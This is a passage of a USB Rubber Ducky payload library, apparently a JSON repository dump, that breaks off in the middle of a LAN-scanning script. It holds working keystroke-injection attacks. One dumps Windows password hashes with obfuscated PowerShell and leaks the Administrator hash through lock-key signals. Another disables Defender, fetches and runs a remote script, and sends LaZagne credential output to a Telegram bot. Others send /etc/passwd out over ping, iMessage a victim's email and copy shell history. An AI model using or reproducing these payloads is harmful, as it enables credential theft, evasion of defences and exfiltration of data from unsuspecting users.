    "content": "REM       HashDumpDucky\r\nREM       Version 1.0\r\nREM       OS: Windows\r\nREM       Author: 0i41E\r\nREM\t  Requirements: RubberDucky mk2/DuckyScript 3.0\r\n\r\nREM       PoC of dumping hashes, filtering for the Administrator hash and exfiltration via keystroke reflection.\r\n\r\nATTACKMODE HID\r\nLED_OFF\r\nDELAY 2000\r\nSAVE_HOST_KEYBOARD_LOCK_STATE\r\n$_EXFIL_MODE_ENABLED = TRUE\r\n$_EXFIL_LEDS_ENABLED = TRUE\r\n\r\nREM Dump the user hashes and filter for the Administrator hash\r\nGUI r\r\nDELAY 1000\r\nSTRINGLN powershell Start-Process powershell -Verb runAs\r\nDELAY 1000\r\nREM Shortcut for pressing yes on the UAC pop-up - for english keyboard layout use \"ALT y\"\r\nALT j\r\nDELAY 1000\r\nSTRING & ( $vERBOSePrefeRENCE.tOStrING()[1,3]+'X'-JoiN'') (( [ReGEX]::mATcHES( \"NoISSErPXe-EKoVnI| )63]rAhc[,93]rAhc[  f-)' )(dnEOTDAer.))Iic'+'sA::]gniDoCnE.TXet.mETsyS['+' , ) )sSERPMOcED::]eDOmnOisSERpMoC.nOISsERPMoc.OI[,) }0{=Mg/dBFIZtFbQsuDc'+'iWdwqfq+j'+'TifWYWVkvIY1ZglTlFbaaSbaHuWEOzKyPlif'+'1ySGkmnV7lP/pfAfp1CLtBTP6VcBvuTQyCp4g8ssbFhONWOd3Ol73MheJJFBggxaaBofxzHzWFIy/dcCJ3dU4wZ+G+kk1uK/uyeB'+'7ThEx1ZQwV9wQfEm6fBHHuHi7wc4lVJWSxByZX1H0fya5WFswzM08o9eej+CP/3fKpWBwsmVyfpbbCeGJ'+'fi'+'m/xvrl'+'qb06zQMeSh3P+PVo'+'UFyHtfNhzDwAbvNLYEP'+'/VZRxbEnEAQ6Hxf/LFbYwkE/9bpiMc7Ih8+DkF3h2dLfdxGxMuHwWKyHmwKT9i2fAs8L/Sdkc+rF/c+UC+uVg6//22rhH'+'4GKB+ZSnS8PE'+'yXtbsdTRxAxtGDggf'+'6c4+AseZ4/v9k71//sRRzo1hkatyDmImrPtMXrOK8j9QP7gvabYjaWzbmNgt7nVF2nPjFwU0W7ZL3miFrdtB42Ub6Y30U4iFkez7vzuPgNAAr/N798acla'+'A/kayIwTeKxb2nUEuSI8uI'+'ef5ciCk3UVqgldjgCBjuEvLoIPdLaWEh2d83sv69oMnANzdAvUDoWAyYSCN'+'GkDq0K0mo3L863'+'6+hYZlxv58K'+'ekvjaqRKL+r9UNg+CNPbjDI'+'8EEQ8X4RhvVRqp9+xwES+99Qxj'+'XCs++eiDOmJqb/F'+'F0Ul53WgVRJs2ygs2HX2vH6ylG+HFTaQjL3D77+Ta2dqWP8gaZdM+XzYea'+'jV2G20fj9CG64Xtx'+'TvSLCJW81PCGWfngA9Pu8Sr/4wc7MdNopCXW'+'sC8tPZ6Tv'+'CuK5W69IS9BY'+'mnud75Y9M3LD9B2'+'N8+AHxPK'+'0bexx'+'VpQ2TTgV8l6My3IFRrnfqOQR'+'L0dxm4cW11b6Dr8K96EUtOq2iiK70eRVIIoA+WrzBIhRs5FIkaF7UR/616e7X7IXu8oJi601TXQp8cVAg2'+'5zdQRCHMFhMAamFtZ5WNYzaoUHXa1Jnb2aMG'+'4LXZZnzMjLq9PdlkxXcK8bDFcwKwwKl6dasC7jjY2NflfmSBGkWw9kmcY8KyeV3gDZeENCkOX5f2t4TemRW0'+'O8K2cek/qRX8ticj1MyuYiCIyWF+DF/hMnaCl+X/yu5'+'s163DPu1'+'xg6/F0ukzONsrISvivKGtWkVwNqgWV2JQBKx9+'+'uFyrbVCuoKYxEO3TDqRWj1HMl73bnk8x1xJSWp5'+'b'+'/Oq'+'bkNbaYBHKXmJFfeX2X3oAs'+'SB3WQ'+'cYJzfcyIetnB17QUrd9AhE'+'Fadov2i39ui1renPC+IZ9KDRy3T6iH2wJ1aPnRTfmHCbZcFwpYswWQpN'+'VAfTS9Xf'+'bttx9D+uxlJjTvupkY8HP9mTL+kO4TK6Q9ieEoPAYX'+'183UHAzRy2emkrRVtSsb8BeX'+'2vadQBIXFsRMVAg/NVK8fCqmgDvP97/Wwk'+'cbReDVO25WS0XRxhczhN8trF'+'bg9D2TbmEVcINVBwvireEo'+'6jWiHMpwed0x3+FJH/JOf1q22p8HOx9trgsf7m7ef'+'03'+'/Fxdo6A3eq0X2'+'zQ+320P4mWtcxS'+'1VIzirtITRDYZddAzuQ/Yuu0xpIVUPTER4'+'cK0MD2hPFtwxsxPhbatrYsnapQrWO1C+744LFxKr0/DJoBfsIXuqTWTaJv'+'5YpZMlCeaNSc9EU0fmUO74KIGzpNBVlEdJLKN'+'xIZS44gO'+'e+LTB9Jo'+'gwj+4/rWlQzF2z0q1EkUm0JSPfR9HXfrTtCT31Ia6q38gS3Fsbm+9r7Pv/oyowvp+wm15Of7XwLv72/HfjqCK/864//dyff9l1vsfPJ99Ct/fymu7trXKg3chQZ7RtNG3MHr3V5BhS7wivkOVBo/GVMvyTHCg/'+'Zsp+SP2n7G2ctBB24gN6YjLb2wGTsxFbAQzGaGwGLsxBvNd6Oc75WJTgGjRjODKO7+q9+Fhab4Dpj+eKasxmF9kgU7XQs+lNi/Rl8FTqJZ8e6'+'F+KX8ZOuSCM24H6fOmsvq6MzeTqhKPtxzo7P2zfcJ59R+HCloIJFALy7jLP56j/OqGfqZ'+'ayAhbobz5h8Iange69zvOvIpWxMrRjf54Kpcb/CwLC9V/9'+'Hs5ZqX+Y2a'+'1dfAIOyuldJdFfHyQ2T'+'FnbD4SNeo5A'+'anhVUgDpKRuDDOvQtl1S2m3az6Fmhxupbj2nSMoj72JP3WzoYElqZkU63iJuK0vGU2'+'aMNzz7tp2KRNbH+Fa1vkRjBOePjOd'+'zmfHtsU0'+'03vV5tgkxPi51kdpEAbIuSXmaWGUnmMfSF9'+'H3mAEBcC0U1TjTsIDXnkZrav/RJ8kwoggTAK7ZG+ZAvMdHnBzIO+mVbkmgSt2eQe1AVME7'+'fXx3fvrPapQWd0jt'+'sC24XQ593yL024GZm8Y'+'7+bSiRGszaKovH7YDP5qL2SHd31W/alE350wFttaC6llA/bPx+utmkNa'+'LNxMNCXkMcR47jeekyEezVoLeRApRZLeU45wtPL4z2IS/qgIJHSrr'+'ksxcnMdnYy7zZAGvR1'+'Unm'+'CWvRFXMBF6J3ZFaBE6UAI'+'vs0ehSv/Y'+'heOZgxskiyP7BGlJ+QfhKsf'+'G5MNJv'+'2rkpAjwvGBwEcB2'+'v9c30P4zYf'+'922FZzBqfg5D2rM89nNCJzVtgOAmFx8+Vx/l7lsmxmH3Vlu6YA9VSHt'+'YhnK/AXhBxs2V5UJA2e4S1shm/HtHo'+'ed6Vn9NrxdFnw47NJEhnKMSG+JHzzcich'+'NJlqWD2SGdApJUcAvnROYLiY8OBn9KtkBzylCw5ALneVj+APBldEhX1WE/xZ7RsL3Honwej8EBUY3qOc7wcTZvOPdRLvkiE8Jn/qDwuIBpn3GyS'+'1GrGYLF6F'+'azND9WDKSe+shX6gs+zMsb0TPWL3e1bk3QYOQY/uSKvJOLiOxVFxXuzqrBPLnYI'+'5yJce76Thz0Sj+y55M+XusVFtsp3Um8BtJ9lMKtZdTSlpyizsPRy66scOPVMbeEBlpTGwC5Jx'+'PH'+'iKC7NnC/Zgsg3tMrMW2O'+'54LKP58qJYHFEdVo5peQENSTt/3u2CDv7/igbFh/MofBI5O7jZkpzhN/lJ2jl'+'xH9F10nwPpf0'+'gi'+'rjRGt'+'H1q7l9FNULrtPK/5DJ/zDVeYKhMxrMVUC4LuSBhCCt4bqgLy5XzUQ7PpTeGx+I0XrLoEPGvaDTwzkx5tpZJhbVCuLe'+'KmKO'+'uiZbFYlbg1dHyO3'+'dJvTF7XFyR3wJbp7JCEUonN9wlj/tk7DurgKC2fS0xfS0xfg4HQ35cMOX6BEBq4QPiPz61wCnj4lsOFKZ'+'bKoT9NqdDFITbNIG2Aw6'+'SuP'+'QlC2JB78'+'kEHK4tvy05Xwm'+'I43x'+'uvg'+'xkfKM'+'OH9NjZHK5kTYBF4oEU3kOg5c05FhPaOp7FHealLsmAhVUe5NACbSSA/LlAa7CaI6MKB1'+'r+NRR+PWzj2iXfcHlSOGGYei7IZiW0Mh5mgheLJJmxqgr7muf4Zz+P0bD6f2I8PsE'+'MhljhMvkWaZltXMK/SLBps'+'HdFWOHFg'+'/VwYmk8KSdy'+'TsLuOVv8Xft4/kdvrW2J'+'H9YrLbdYjFXCSMuAkYcBIx3GciyNKE/mWbp5NnpSo5AZR+JpX2IS'+'jg'+'lTdFoisKMJI5qvQLUbwRdie5Df6ZqL3pH5iV5UmO4hc+MyFWFvG9lTx5gYaOlhV5rX3oTYCOuhKf'+'IgieCiAZWkFke1LHYGzgVlCB0UMKYS6FFxyoU0qRhMjoS4tasa0E4SVtQDWVVH'+'UY5jZiML56wUK1zM1uah0PItJW'+'xrMdQdo68JMwZtzKHbHLbNn5dlr2CC25zqVcwdRwGGvZVbdO'+'k4eS0FuJbaPoRNlUFMBZRWhKUqaq4a5UqADKYTpiqdPCYjJ2YgN6sL5yIXmZQq7x0f7W9yQ9'+'qD/AQONQ6rP9l1bJmRf'+'dYm+26CYXBH9lFQCq'+'Ub4tO14HUfd0O2NNJi7HT+4Sd3JDIzlDMbdp9Fgy5jm54dnWuuHHKqrnsge4UYOnxjXhHaCDHBDD6jD9xFWwD'+'KBxHQJFGkDdxFWyHqBmwgx4QT88BUeBmwBag98oPekFcgZMkAkU'+'vZtheAUpRP8oTawIY'+'yAKMIH6iHcimOgyIUEMMofO0BH6'+'gHMimGAgDLBzHQJFYJXYO7ph9xhe4AL4C/I0dZuC9xhe4QH'+'ch5sjG2HH6mis'+'FcIlUgZclOoPO2DHYJHYEPFAPgNG5F0RjuoDMgheglB9xhe4Q'+'n8o0ZEdUsGoAP2jHZBHYGnp6Sh+o0NAih'+'MFYJXYOHoh9xhe4A'+'L4CHJw6'+'zSgAN2lHZBHYG3phC4xeo4RCgusFYAHqjOYxs8oHekBcgG6MCJLsE4RjuoDMkj0B/5Re4YHU4GhCjMEQA8MoXe'+'0DP6gOQHMgBTy3GGKoAL5D3Zd/90t0v3fF9K61gPSb7grmlokodpa0fA9YvzOLttnwTH054lHz6i8oJDLiuu3jA/1kMHOQvLLOaa0K1tod9rY8JNEYr2PdshCwb3YBZmZEe9W1eTbtq9'+'KfZPYIzw3cyJ/JIO'+'/v7snNnvKPU1Qa9J+q7u+9rBO513e4JdkE0R0c7cGZH+oLRtH65Chgnk8'+'LWq9nDGYvyjXfQ2KkciYj8gaK7w9mJ0P+HiyuO4V/L5M67t'+'f/PJG+dYj4ub'+'m8jp5BkHiZF'+'SyYpCZZ4BV87a1HbH'+'nV+2oKgykT6I3mjdKC+tvCaOsPzNMkF29bD'+'BpbSeKfmsoMtb8XhNGfh+NZfDf9rVg'+'n7GyR0lumNz7m3mJcrZ8Dev/LFwjDpLJ28t4H94/ylChWqRD2mv'+'Io96Qx3lybWw+rbbjzot9P39sZr19oMSuRFUZP0yGqE+JTAH8HniHV53zY+EhTC36izhL1MEtOVDP5BXBO+4luy4d1I4eoAmjCH+tw8v'+'Nn'+'KbQ6lxd0lEBdyOplJxpfZb0oZzQMbxe+OC1tvplQelWWV7QMdEjtmHSC'+'nkxVDqBYQWk/od'+'TBKrSwsuVPfP27'+'7GTe8soEpX4'+'EpJyicbiDCjHu7k950t'+'/x0xIahI'+'U7MqkeJ8+PBfHlJlK8uxgswgQMnw0'+'DrRRrJt'+'JP'+'lxYAyHRGj'+'JkZ5+'+'zQGoT41ZiG'+'VicPJhEttJySykOjCBNA5vZ9u9k7'+'Cp3JUzuNjsr2/HBMqC6FJZQ3dmF2NnbJ2ZcH/WolSz5+ambdxOuCYeywUzurfbOzMXlbaIpH3eqyrUa'+'jt443JkLSrYMGbeYoR9EqBPwHLBH0pDJ7eejjOITSKvs+BBWSvp1FxQ'+'q0EGsu'+'gP5F4OZHv9nhBSkU00w'+'7vvJLs9KH+hX4yHeGbkxOpeqtvJ3jz0CVvf2GB57zXDZHjRfpq8EuT2VazKhi7eji4kI9tZvpxnl9bkem12o'+'/QQui/vf41b7wdfbPoDQCH/JC82n8'+'81Vfv'+'xBiIZI/OIoRyT4'+'GThT59V264NRsLlI9266SdCz2nX'+'HDueSiwzg90T39Ej+gx4byvedXd1U2ZHEAC8M9ct7+z3+SAItIQUWYEy0iWp1JvsPnMmevzmtqUqdedplSaTGsTL43pcq78vEIt5c7tV7}0{(GNIRTS46EsaBmoRf::]tREvNOC.mEtsyS[]'+'MaERTs'+'YrOMEm.oI[(mAe'+'RtSeTAlFed.noiSSERpMoC.Oi  tcEJBo-wEn ( (REDAerMAertS.oi '+' tcEJBo-wEn()}0{X}0{+]31[DILLEHs}1{+]1[DillEHs}1{ (. '((\",'.' ,'RIGHTtO'+'LeF'+'T')-JoIN '' )) > output.txt;cat output.txt | Select-String Admin > admin.txt;rm output.txt;\r\nDELAY 500\r\nREM Exfiltrate the Admin hash via Keystroke Reflection\r\nSTRING foreach($b in $(cat admin.txt -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >admin.txt;\r\nDELAY 500\r\nSTRINGLN $o=(cat admin.txt);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm admin.txt;clear;echo \"Administrator hashes exfiltrated!\";Start-Sleep -s 3;exit\r\nDELAY 1000\r\n\r\nREM The final SCROLLLOCK keystroke indicates EXFIL is complete.\r\nWAIT_FOR_SCROLL_CHANGE\r\nLED_G\r\n$_EXFIL_MODE_ENABLED = FALSE\r\nRESTORE_HOST_KEYBOARD_LOCK_STATE"
  },
  {
    "path": "payloads/library/exfiltration/History-Grabber/payload.txt",
    "content": "REM Title:         Terminal History Grabber\nREM Description:   Extracts the terminal history of the device onto the ducky\nREM Author:        matthewkayne\nREM Category:      Exfiltration\nREM Target:        macOS (Terminal)\nREM Requires:      Twin Duck firmware or separate USB stick (requires change to the path of the file)\n\n\nDELAY 1000\nGUI SPACE\nDELAY 400\nSTRING terminal\nENTER\nDELAY 200\nSTRING history > /Volumes/DUCKY/history.txt\nDELAY 100\nENTER\nDELAY 200\nENTER\nDELAY 200\nGUI w\nDELAY 200\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/IP-Out/README.md",
    "content": "# IP-OUT\nThis is a USB Rubber Ducky payload that opens a powershell window in the target (Windows based) computer, then extracts the `ipconfig` information in the form of a text file saved on the USB.\n\n\n\n\n\n## Useful Tips\n\n**Change #DRIVELABEL to your own personal drive label if it isn't already**\n\nRemember: Do not use this for unethical hacking practices! This is for educational purposed only!\n"
  },
  {
    "path": "payloads/library/exfiltration/IP-Out/payload.txt",
    "content": "REM Title: IP-Out\nREM Author: Mavisinator30001\nREM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB\nREM Target: Any Windows System\nREM DISCLAIMER!!! Neither I, nor Hak5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY\nDEFINE #DRIVELABEL DUCKY\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\nIF $_OS != WINDOWS\n    STOP_PAYLOAD\nEND_IF\nATTACKMODE HID STORAGE\nDELAY 500\nGUI r\nDELAY 300\nSTRINGLN Powershell\nDELAY 1000\nSTRINGLN $driveLetter = (Get-WmiObject -Query \"SELECT * FROM Win32_Volume WHERE Label='#DRIVELABEL'\").DriveLetter; if ($driveLetter) { ipconfig | Out-File -Filepath \"$driveLetter\\exfil.txt\" -Encoding utf8 }\nWAIT_FOR_STORAGE_ACTIVITY\nWAIT_FOR_STORAGE_INACTIVITY\nALT F4\nATTACKMODE OFF\nHIDE_PAYLOAD\n"
  },
  {
    "path": "payloads/library/exfiltration/Lazagne-Exfil/README.md",
    "content": "Title: Lazagne Exfiltration<br>\nAuthor:\tmrproxy<br>\nRequirements: Telegram bot, Internet Connection <br>\n\nDescription: Downloads lazagne, runs lazagne, stores all info to .txt file, sends file to telegram bot.<br>\nTarget:\tWindows<br>\nVersion:\t1.0<br>\nCategory:\tExfiltration<br>\nSource: https://github.com/Mr-Proxy-source/BadUSB-Payloads<br>\nInstruction: You will have to add download link of the most recent released lazagne tool to the ps file line 5.<br>\nLink of lazagne github repo is: https://github.com/AlessandroZ/LaZagne<br>\n"
  },
  {
    "path": "payloads/library/exfiltration/Lazagne-Exfil/payload.ps1",
    "content": "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8\n\n# Download LaZagne and execute it\n$Test = \"C:\\temp\"\nStart-BitsTransfer -Source \"https://example.com\" -Destination \"$Test/l.exe\"\nSet-Location $Test\nStart-Sleep -Milliseconds 15000\n.\\l.exe all -vv > \"$env:computername.txt\"; .\\l.exe browsers -vv >> \"$env:computername.txt\"\n\n# Send the result file to a Telegram bot\n# $bt = \"bot-token\"\n# $ci = \"chat-id\"\n$ResultFile = \"$Test\\$env:computername.txt\"\n\ntry {\n    # Create a byte array from the file\n    $FileStream = [System.IO.File]::OpenRead($ResultFile)\n    $FileBytes = [byte[]]::new($FileStream.Length)\n    $FileStream.Read($FileBytes, 0, $FileBytes.Length)\n    $FileStream.Close()\n\n    # Define the boundary for multipart form-data\n    $boundary = [System.Guid]::NewGuid().ToString()\n    $LF = \"`r`n\"\n\n    # Construct the multipart form-data content\n    $BodyLines = @(\n        \"--$boundary\",\n        \"Content-Disposition: form-data; name=`\"chat_id`\"\",\n        \"\",\n        $ci,\n        \"--$boundary\",\n        \"Content-Disposition: form-data; name=`\"document`\"; filename=`\"$($ResultFile)`\"\",\n        \"Content-Type: application/octet-stream\",\n        \"\",\n        [System.Text.Encoding]::GetEncoding(\"iso-8859-1\").GetString($FileBytes),\n        \"--$boundary--\",\n        \"\"\n    ) -join $LF\n\n    # Convert the body to a byte array\n    $BodyBytes = [System.Text.Encoding]::GetEncoding(\"iso-8859-1\").GetBytes($BodyLines)\n\n    # Send the request to the Telegram API\n    $TelegramAPI = \"https://api.telegram.org/bot$bt/sendDocument\"\n    $Response = Invoke-RestMethod -Uri $TelegramAPI -Method Post -ContentType \"multipart/form-data; boundary=$boundary\" -Body $BodyBytes\n\n    Write-Host \"File sent to Telegram successfully.\"\n} catch {\n    Write-Host \"Failed to send file to Telegram. Error: $_\"\n}\n\n\n# Send the result file\nSend-TelegramFile -BotToken $bt -ChatID $ci -FilePath $ResultFile\n\n# Cleanup leftover files\nRemove-Item $ResultFile, \"$Test/l.exe\" -Force -ErrorAction SilentlyContinue\n\n# Exit\nStart-Sleep -Milliseconds 2500\nexit\n"
  },
  {
    "path": "payloads/library/exfiltration/Lazagne-Exfil/payload.txt",
    "content": "REM Title: Lazagne Exfiltration\nREM Author:\tmrproxy\nREM Requirements: Telegram bot, Internet Connection\nREM Description: Downloads lazagne, runs lazagne, stores all info to .txt file, sends file to telegram bot.\nREM Target:\tWindows\nREM Version:\t1.0\nREM Category:\tExfiltration\nREM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads\n\nREM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link)\nREM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1\nDEFINE #SCRIPT_URL example.com/payload.ps1?dl=1\n\nREM Here you will have to put your telegram bot details\nDEFINE #BOT_TOKEN your-bot-token\nDEFINE #CHAT_ID your-chat-id\n\nDELAY 1500\nGUI r\nDELAY 500\nSTRING powershell.exe -Command \"Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='#BOT_TOKEN'; $ci='#CHAT_ID'; irm #SCRIPT_URL | iex'\"\nCTRL-SHIFT ENTER\nDELAY 1000\nALT y\n"
  },
  {
    "path": "payloads/library/exfiltration/Lin_ICMP-Data-Exfiltration/README.md",
    "content": "# ICMP Data Exfiltration\n\n- Title:         ICMP Data Exfiltration\n- Author:        TW-D\n- Version:       1.0\n- Targets:       Debian-Based Linux Distributions\n- Category:      Exfiltration\n\n## Description\n\nExfiltrates a local file from a target machine using the native \"ping\" utility.\nThe file is first converted to \"Base64\", then divided into 16-byte fragments.\nThe \"ping\" utility is then used to transmit the data to a receiving host.\n\n__Note :__ *The \"base64\" and \"ping\" utilities are required.*\n\n## Configuration\n\nIn the \"payload.txt\" file, replace the values of the following constants :\n\n```\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Absolute path of the file to be exfiltrated.\nREM ---\nDEFINE #TARGET_FILE /etc/passwd\n\nREM ---\nREM IP address or domain receiving ICMP packets.\nREM ---\nDEFINE #DROP_HOST www.example.com\n\n```\n\n## Usage\n\nI) At the root of the USB Rubber Ducky, copy the \"payload.sh\" file.\n\nII) To receive data, you can use :\n\n```\ntcpdump -A --interface=\"<INTERFACE>\" -l -n -q --snapshot-length=0 -t \"icmp[icmptype] == 8\"\n```\n\n> OR\n\nhttps://github.com/TW-D/tcpdump_ICMP-Data-Exfiltration/blob/main/tcpdump_icmp-data-exfiltration.rb\n"
  },
  {
    "path": "payloads/library/exfiltration/Lin_ICMP-Data-Exfiltration/payload.sh",
    "content": "#!/bin/bash\n\nset -eo pipefail\n\nreadonly TARGET_FILE=\"${1}\"\nreadonly DROP_HOST=\"${2}\"\n\nset -u\n\nusage() {\n    echo \"${BASH} ./payload.sh <TARGET_FILE> <DROP_HOST>\"\n}\n\nif [ -z \"${TARGET_FILE}\" ]; then\n    echo \"No TARGET_FILE has been defined.\"\n    usage\n    exit 2\nfi\n\nif [ -z \"${DROP_HOST}\" ]; then\n    echo \"No DROP_HOST has been defined.\"\n    usage\n    exit 2\nfi\n\nIFS=$'\\n'\nfor chunk in $(base64 --wrap=16 \"${TARGET_FILE}\"); do\n    hex_digits=\"\"\n\n    for ((hex_iterator=0; hex_iterator<\"${#chunk}\"; hex_iterator++)); do\n        hex_digits+=\"$(printf \"%X\" \\'\"${chunk:$hex_iterator:1}\")\"\n    done\n\n    if [ \"${hex_iterator}\" -lt 16 ]; then\n        sign_required=\"$((16 - hex_iterator))\"\n\n        for ((sign_iterator=0; sign_iterator<\"${sign_required}\"; sign_iterator++)); do\n            hex_digits+=\"3D\"\n        done\n    fi\n\n    ping -c 1 -p \"${hex_digits}\" -q -s 32 -W 1 -4 \"${DROP_HOST}\" &> /dev/null\ndone\n"
  },
  {
    "path": "payloads/library/exfiltration/Lin_ICMP-Data-Exfiltration/payload.txt",
    "content": "REM TITLE : ICMP Data Exfiltration\nREM AUTHOR : TW-D\nREM TARGET : Debian-Based Linux Distributions\nREM VERSION : 1.0\nREM CATEGORY : Exfiltration\nREM REQUIREMENT : DuckyScript 3.0\n\nATTACKMODE HID STORAGE\nDELAY 15000\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Absolute path of the file to be exfiltrated.\nREM ---\nDEFINE #TARGET_FILE /etc/passwd\n\nREM ---\nREM IP address or domain receiving ICMP packets.\nREM ---\nDEFINE #DROP_HOST www.example.com\n\nSAVE_HOST_KEYBOARD_LOCK_STATE\n\nIF ( $_CAPSLOCK_ON ) THEN\n    CAPSLOCK\n    DELAY 500\nEND_IF\n\nIF ( $_NUMLOCK_ON == FALSE ) THEN\n    NUMLOCK\n    DELAY 500\nEND_IF\n\nCTRL-ALT t\nDELAY 2000\nSTRINGLN  nohup \"${BASH}\" /media/\"${USER}\"/#RD_LABEL/payload.sh #TARGET_FILE #DROP_HOST &> /dev/null\nDELAY 1500\nSTRINGLN exit\n\nRESTORE_HOST_KEYBOARD_LOCK_STATE\n"
  },
  {
    "path": "payloads/library/exfiltration/Mail-Grabber/payload.txt",
    "content": "REM Title:         Mail Grabber\nREM Description:   iMessages the last received email in the Mail app to an iMessage device of your choice\nREM Author:        matthewkayne\nREM Category:      Exfiltration\nREM Target:        macOS\nREM Requires:\t     Device with iMessage to receive the data\n\nDELAY 1000\nGUI SPACE\nDELAY 200\nSTRING Mail\nDELAY 200\nENTER\nDELAY 400\nTAB\nDELAY 200\nENTER\nDELAY 200\nGUI a\nDELAY 200\nGUI c\nDELAY 200\nGUI w\nDELAY 200\nGUI w\nDELAY 200\nGUI SPACE\nDELAY 200\nSTRING Terminal\nDELAY 200\nENTER\nDELAY 300\nSTRING x=$(pbpaste)\nDELAY 200\nENTER\nDELAY 200\nREM Replace PHONE_NUMBER with you iMessage supported number (leave the @'s, they are required to run)\nSTRING osascript -e 'tell application @Messages@ to send @'$x'@ to buddy @PHONE_NUMBER@'\nDELAY 100\nENTER\nDELAY 200\nGUI w\nDELAY 200\nENTER\n"
  },
  {
    "path": "payloads/library/exfiltration/Poor_Mans_Nmap/payload.txt",
    "content": "REM Title: Poor_Mans_Nmap\nREM Author: JoustingZebra\nREM Description: Scans the LAN with PowerShell. Then emails results using outlook.\nREM Target: Windows with powershell v5/7.\nREM Props: Hak5, the-jcksn\nREM Version: 1.0\nREM Category: Exfiltration\n\n\nDELAY 1000\nGUI r\nDELAY 1000\nREM Open Powershell, noprofile, noninteractive\nSTRING powershell.exe -Nop -Noni\nENTER\nDELAY 100\n\nREM Write .ps1 file\nREM Scanner only works on class \"B\" and smaller networks.\nREM Script is optimized, only scans valid IP addresses in the network.\nREM Only scans first LAN it finds. \nREM IPv4 only :(\n\nSTRING Write-Output \"function Get-BroadAddr (`$AddrAndCIDR){ `n `$AddrAndCIDR = `$AddrAndCIDR.Split(`\"/`\") `n `$AddrInBin = (New-IPv4toBin `$AddrAndCidr[0]).ToCharArray() `n for(`$i=0;`$i -lt `$AddrInBin.length;`$i++){ `n if(`$i -ge `$AddrAndCIDR[1]) `n { `n `$AddrInBin[`$i] = `\"1`\" `n  `n} `n } `n [string[]]`$AddrInInt32 = @() `n  for (`$i = 0;`$i -lt `$AddrInBin.length;`$i++){ `n `$PartialAddrBin += `$AddrInBin[`$i] `n if((`$i+1)%8 -eq 0){ `n `$PartialAddrBin = `$PartialAddrBin -join `\"`\" `n `$AddrInInt32 += [Convert]::ToInt32(`$PartialAddrBin -join `\"`\",2) `n  `$PartialAddrBin = `\"`\" `n } `n  } `n `$AddrInInt32 = `$AddrInInt32 -join `\".`\" `n return `$AddrInInt32 `n } `n function New-IPv4toBin (`$ipv4){ `n `$BinNum = `$ipv4 -split '\\.' | ForEach-Object {[System.Convert]::ToString(`$_,2).PadLeft(8,'0')} `n return `$binNum -join `\"`\" `n } `n  `$Adapter = (Get-NetAdapter | Where-Object {`$_.status -eq 'Up'} | Select-Object -First 1) `n `$AdapterAddr=(Get-NetIPAddress -InterfaceIndex `$Adapter.ifIndex | Where-Object {`$_.ipv4address}) `n `$IPaddr=[ipaddress](`$AdapterAddr.IPAddress) `n  `$CIDRSubMask=(Get-NetIPAddress -InterfaceIndex `$Adapter.ifIndex | Select-Object -ExpandProperty PrefixLength) `n  `$IPAddrAndMask=(`$IPaddr | select-object -ExpandProperty IPAddressToString ) + `\"/`\" +(`$CIDRSubMask | Out-String) `n Write-Host `\"Localhost = `$IPaddrAndMask`\" `n `$SubMask = [ipaddress]([math]::pow(2, 32) -1 -bxor [math]::pow(2, (32 - `$CIDRSubMask))-1) `n Write-Host `\"Subnet mask = `$SubMask`\" `n  `$NetAddr=[ipaddress](`$IPaddr.address -band `$SubMask.address) `n Write-Host `\"Network Address = `$NetAddr`\" `n `$NetAddrOctet0=[int]([System.Net.IpAddress]::Parse(`$NetAddr)).GetAddressbytes()[0] `n `$NetAddrOctet1=[int]([System.Net.IpAddress]::Parse(`$NetAddr)).GetAddressbytes()[1] `n `$NetAddrOctet2=[int]([System.Net.IpAddress]::Parse(`$NetAddr)).GetAddressbytes()[2] `n  `$NetAddrOctet3=[int]([System.Net.IpAddress]::Parse(`$NetAddr)).GetAddressbytes()[3] `n  `$BroadAddr=[ipaddress](Get-BroadAddr(`$IPAddrAndMask)) `n Write-Host `\"Broadcast Address = `$BroadAddr`\" `n  `$BroadAddrOctet2=[int]([System.Net.IpAddress]::Parse(`$BroadAddr)).GetAddressbytes()[2] `n  `$BroadAddrOctet3=[int]([System.Net.IpAddress]::Parse(`$BroadAddr)).GetAddressbytes()[3] `n  Write-Host `\"`n`\" `n  